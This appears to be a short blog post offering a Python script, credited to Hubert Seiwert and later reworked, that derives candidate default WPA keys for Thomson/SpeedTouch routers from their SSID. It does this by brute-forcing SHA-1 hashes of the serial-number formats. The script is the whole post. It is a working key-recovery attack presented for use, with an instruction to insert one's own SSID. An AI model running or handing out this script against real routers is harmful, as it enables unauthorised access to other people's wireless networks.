This python script can be used to reverse thomson/speedtouch ssids.
Later this year I will launch an online version of this program.
www.kodevelopment.nl helped me rewriting this script for python3.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
# By Hubert Seiwert, [email protected] 2008-04-17 # Improved by me & KO development import sys import hashlib #ssid_end = sys.argv[1].lower() ssid_end = "000E4A".lower() #replace 000E4A with your ssid code offset = 40-(len(ssid_end)) charset = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' year_list = [2005,2006,2007,2008,2009,2010,2011] def ascii2hex(char): return hex(ord(char))[2:] print ('Possible keys for SSID ending %s:' % ssid_end.upper()) count = 0 for year in [y-2000 for y in year_list]: for week in range(1,53): #1..52 #print 'Trying year 200%d week %d' % (year,week) for char1 in charset: for char2 in charset: for char3 in charset: sn = 'CP%02d%02d%s%s%s' % (year,week,ascii2hex(char1),ascii2hex(char2),ascii2hex(char3)) has = hashlib.sha1(sn.upper().encode('utf-8')).hexdigest() if has[offset:] == ssid_end: print (has[0:10].upper()) count += 1; print ('Done. %d possible keys found.' % count) |
Leave a Reply